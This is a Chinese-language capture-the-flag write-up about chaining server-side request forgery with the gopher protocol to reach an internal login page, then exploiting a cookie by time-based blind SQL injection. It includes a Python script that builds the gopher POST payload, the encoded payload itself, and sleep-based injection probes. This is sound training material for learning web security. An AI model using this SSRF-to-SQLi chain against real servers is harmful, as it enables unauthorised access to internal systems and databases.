题目
抓包发现use.php文件
页面说"you are not an inner user, so we can not let you have identify~",就是说只能内部访问登录。这里抓包还看到返回包里有个set-cookie,说明是ssrf造成的sql注入
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
因此我们可构造含有gopher协议的盲注脚本,通过对use.php界面发送请求来获取flag。具体实现的方法是通过构造不同的poc来进行注入攻击,并利用时间延迟判断是否成功注入。
【网络安全 | HTTP】 gopher协议原理、语法及利用总结-CSDN博客
http://61.147.171.105:55753/use.php?url=127.0.0.1/use.php
构造ssrf语句实现从内部访问
官方wp里写使用admin,admin弱密码账号,还说登录框是用来校验这个用户名和密码是否再数据库中存在的,所以还是没告诉是弱密码
import urllib.parse host = "127.0.0.1:80" content = "uname=admin&passwd=admin" content_length = len(content) test =\ """POST /index.php HTTP/1.1 Host: {} User-Agent: curl/7.43.0 Accept: */* Content-Type: application/x-www-form-urlencoded Content-Length: {} {} """.format(host,content_length,content) tmp = urllib.parse.quote(test) new = tmp.replace("%0A","%0D%0A") result = urllib.parse.quote(new) print("gopher://"+host+"/_"+result)
gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A
返回包里发现set-Cookie,返回了base64编码的信息,解码后就是admin
这个cookie就是注入点。重新构造一个gopher的payload,带上这个cookie的内容再去访问use页面:由于不回显,所以选择时间盲注,用admin') and if(1,sleep(5),1)#进行测试,或者') and if(1,sleep(5),1)#都可。
(这里闭合点,自己测试吧,先单引号再双引号,再加括号)